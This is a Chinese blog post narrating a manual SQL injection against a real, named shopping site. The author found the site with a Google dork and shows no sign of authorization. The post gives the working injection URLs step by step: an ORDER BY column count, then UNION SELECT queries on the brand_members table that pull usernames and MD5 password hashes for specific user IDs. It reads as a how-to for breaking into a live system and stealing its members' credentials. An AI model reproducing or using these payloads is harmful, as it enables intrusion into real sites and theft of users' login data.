天天看點

記一次php手工注入(mysql)

光說不練假把式,關于腳本入侵看的心癢,就實踐了一把。

首先google:inurl:"php?id="

發現這個網站可get注入:

http://brand.66wz.com/store.php?id=18

試了下http://brand.66wz.com/store.php?id=18 and user>0

有反應,網頁上出現錯誤提示:

記一次php手工注入(mysql)

然後輸入

http://brand.66wz.com/store.php?id=18 and order by 5

報錯:

記一次php手工注入(mysql)

根據提示,改為:

http://brand.66wz.com/store.php?id=18 ORDER BY 5 DESC LIMIT 0,20

頁面正常:

記一次php手工注入(mysql)

再将5改為30,錯誤。

改為20,正常。

······

最後得到的臨界值為24。

記一次php手工注入(mysql)
記一次php手工注入(mysql)

然後通過火狐的插件得到下面網址:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from tables

後面的tables我試了很多單詞,如admin什麼的,都不行。

本來到這裡就該結束了。

後來感覺太可惜了,抱着試一試的心态從網頁的源代碼取了點關鍵詞百度了一下,發現了跟這個網站很多相關的資訊:(http://zhangjianbin.iteye.com/blog/1631387)

其中有:

brand_admincp_group 管理組  

brand_admincp_member 管理者  

brand_admincp_perm 管理者權限  

brand_adminsession 管理者與店鋪管理者登入次數與資訊判斷  

brand_members 會員資訊

最後連源代碼都有了:http://code1.okbase.net/codefile/tool.func.php_2012121116304_79.htm

然後進入:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members

記一次php手工注入(mysql)

ok!10可以插入字段。

分别插入username以及password就得到了使用者名以及md5加密的密碼:

記一次php手工注入(mysql)
記一次php手工注入(mysql)

那麼怎麼比對username和passeord呢,用穿山甲掃描的時候發現還有一個uid字段:

記一次php手工注入(mysql)

是以隻要在網址中分别添上"where uid=xxxxx"就行了。

比如說:

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,username,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157

記一次php手工注入(mysql)

http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157

記一次php手工注入(mysql)

再後來,md5解密的時候發現。。。

烏雲上已經有這個網站的漏洞了:

繼續閱讀